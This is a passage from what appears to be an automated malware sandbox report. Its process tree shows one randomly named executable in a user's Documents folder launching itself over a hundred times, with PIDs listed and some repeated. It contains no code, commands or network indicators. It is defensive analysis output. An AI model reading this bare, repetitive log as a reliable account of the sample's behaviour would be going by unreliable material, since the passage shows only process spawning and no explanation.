- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10516
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7328
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11212
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9648
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10860
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4808
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10656
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9280
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5944
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11152
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7328
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8612
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7232
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6328
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2440
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7328
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5144
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8648
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11288
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11352
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11508
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11584
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11716
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11828
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11936
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12080
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12172
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11188
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3344
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11496
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11056
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11784
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11884
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12076
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5408
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12268
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3344
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7500
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11948
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7832
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6496
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11560
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12124
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5400
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11692
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12216
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12316
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12428
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12556
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12708
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12824
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12936
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13120
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3852
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8524
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12488
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12680
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12856
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12080
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10316
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9080
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13300
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12296
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12424
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11380
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11664
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4920
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4968
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9188
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12320
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5776
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12780
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13116
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13108
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3804
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12436
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12512
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11912
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4812
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13196
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4684
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12436
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12772
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12032
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12328
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12512
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12652
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12692
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12744
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12340
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11416
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4932
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10580
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12512
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2056
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8312
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10152
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2060
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10468
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13144
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11540
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12156
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3344
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4668
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12820
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10764
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11520
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4668
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8300
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9444
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8484
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4668
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12084
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12716
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11388
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11468
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11488
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13184
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:1764
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11972
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12556
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12576
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9172
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12796
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12120
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10552
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12916
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11972
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11280
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12396
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10440
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5108
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10676
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9208
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4236
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4760
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13148
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12540
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11644
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13248
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11644
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13428
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13548
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13632
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13720
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13876
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14020
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14124
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14292
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9336
